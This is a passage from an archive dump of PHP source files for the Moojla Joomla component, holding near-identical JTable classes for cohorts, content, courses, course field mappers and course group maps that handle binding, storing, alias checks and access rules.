$this->setError(JText::_('COM_MOOJLA_COHORT_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('cohort',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.cohort.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.cohort.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/content.php000064400000020470151165724400010211 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage content.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Contents Table class
*/
class MoojlaTableContent extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_content', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.content'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Content table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New content. A content created and created_by field can be set by the
user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('content',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_CONTENT_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('content',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.content.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.content.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/course.php000064400000021231151165724410010034 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Courses Table class
*/
class MoojlaTableCourse extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_course', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.course'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Course table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New course. A course created and created_by field can be set by the
user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('course',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias,
'catid' => $this->catid)) && ($table->id !=
$this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_COURSE_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('course',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.course.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.course.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* Generate a valid alias from title / date.
* Remains public to be able to check for duplicated alias before saving
*
* @return string
*/
public function generateAlias()
{
if (empty($this->alias))
{
$this->alias = $this->shortname;
}
$this->alias = JApplication::stringURLSafe($this->alias);
if (trim(str_replace('-', '', $this->alias)) ==
'')
{
$this->alias =
JFactory::getDate()->format('Y-m-d-H-i-s');
}
return $this->alias;
}
}
tables/course_field_mapper.php000064400000020724151165724410012551
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_field_mapper.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Course_fields_mapper Table class
*/
class MoojlaTableCourse_field_mapper extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_course_field_mapper',
'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' =>
'com_moojla.course_field_mapper'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Course_field_mapper table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New course_field_mapper. A course_field_mapper created and created_by
field can be set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('course_field_mapper',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('course_field_mapper',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.course_field_mapper.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.course_field_mapper.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/course_group_map.php000064400000020655151165724410012116
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Course_group_maps Table class
*/
class MoojlaTableCourse_group_map extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_course_group_map',
'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' =>
'com_moojla.course_group_map'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Course_group_map table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New course_group_map. A course_group_map created and created_by field
can be set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('course_group_map',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_COURSE_GROUP_MAP_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('course_group_map',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.course_group_map.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
